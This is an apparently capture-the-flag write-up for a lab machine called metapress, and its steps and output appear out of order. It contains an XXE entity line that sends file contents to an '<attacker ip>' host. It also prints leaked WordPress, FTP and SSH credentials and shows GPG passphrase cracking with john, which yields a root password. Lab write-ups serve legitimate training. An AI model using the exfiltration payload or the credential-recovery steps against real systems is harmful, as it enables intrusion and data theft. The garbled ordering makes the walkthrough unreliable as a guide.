

Insert the credentials and we are in └\$ ftp 10.10.11.186 Connected to 10.10.11.186. 220 ProFTPD Server (Debian) [::ffff:10.10.11.186] Name (10.10.11.186:kali): metapress.htb 331 Password required for metapress.htb Password: 230 User metapress.htb logged in Remote system type is UNIX. Using binary mode to transfer files. ftp>

<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://<attacker ip>:<port>/?p=%file;'>"> We obtain the **FTP** credentials └─\$ base64 -d **decode2.txt** <?php /** The name of the database for WordPress */ define('DB_NAME', 'blog'); /** MySQL database username */ define('DB_USER', 'blog'); /** MySQL database password */ define('DB_PASSWORD', '635Aq@TdqrCwXFUZ'); /** MySQL hostname */ define('DB_HOST', 'localhost'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8mb4'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); define('FS_METHOD', 'ftpext'); define('FTP_USER', 'metapress.htb'); define('FTP_PASS', '9NYS_ii@FyL_p5M2NvJ'); define('FTP_HOST', 'ftp.metapress.htb'); define('FTP_BASE', 'blog/'); define('FTP_SSL', false); Now connect to the ftp server with metapress.htb:9NYS ii@FyL p5M2NvJ **ftp 10.10.11.186** (target ip) Now we can search for useful infos inside the server Inside of it we find the pasword of the user jnelson:Cb4 JmWM8zUZWMu@Ys Ssh connect with these credentials and we are inside the machine! cat user.txt and we have the first flag Now we will do a priv esc: we could import lineas but i'd like to check manually for some method first We can see that they generated the passwords using a tool called **passpie** Let's find the version with the command **passpie --version** (it's 1.6.1)

In particular inside the directory "mailer" we can find a **send email.php** that we can download with **get send email.php** It encrypts using PGP (a secure encryption system) but we can look for vulnerabilities of the tool itself on Google No vulnerabilities found. Let's see if there is some misconfiguration in the tool or they are using it in a insecure way If we do ls -la in the .passpie directory we can see they left the public and the private keys visible (inside the .keys file) and the crypted password for root Save all in our machine with the command scp jnelson@10.10.11.186:.passpie/.keys .keys and scp jnelson@10.10.11.186:.passpie/ssh/root.pass Let's see if we can recover the passphrase using **gpg2john** and **john** gpg2john .keys > password sudo john -w:/usr/share/john/password.lst password And we found the passphrase to be "blink182" Now with the passphrase we can obtain the clear password of root:p7qfAZt4_A1xo_0x and the last flag jnelson@meta2:~\$ passpie export cleartextpasswd Passphrase: jnelson@meta2:~\$ cat cleartextpasswd credentials: comment: '' fullname: root@ssh

login: root

name: ssh

comment: ''

name: ssh

version: 1.0

handler: passpie

jnelson@meta2:~\$

login: jnelson

fullname: jnelson@ssh

modified: 2022-06-26 08:58:15.621572

modified: 2022-06-26 08:58:15.514422

password: !!python/unicode 'p7qfAZt4_A1xo_0x'

password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'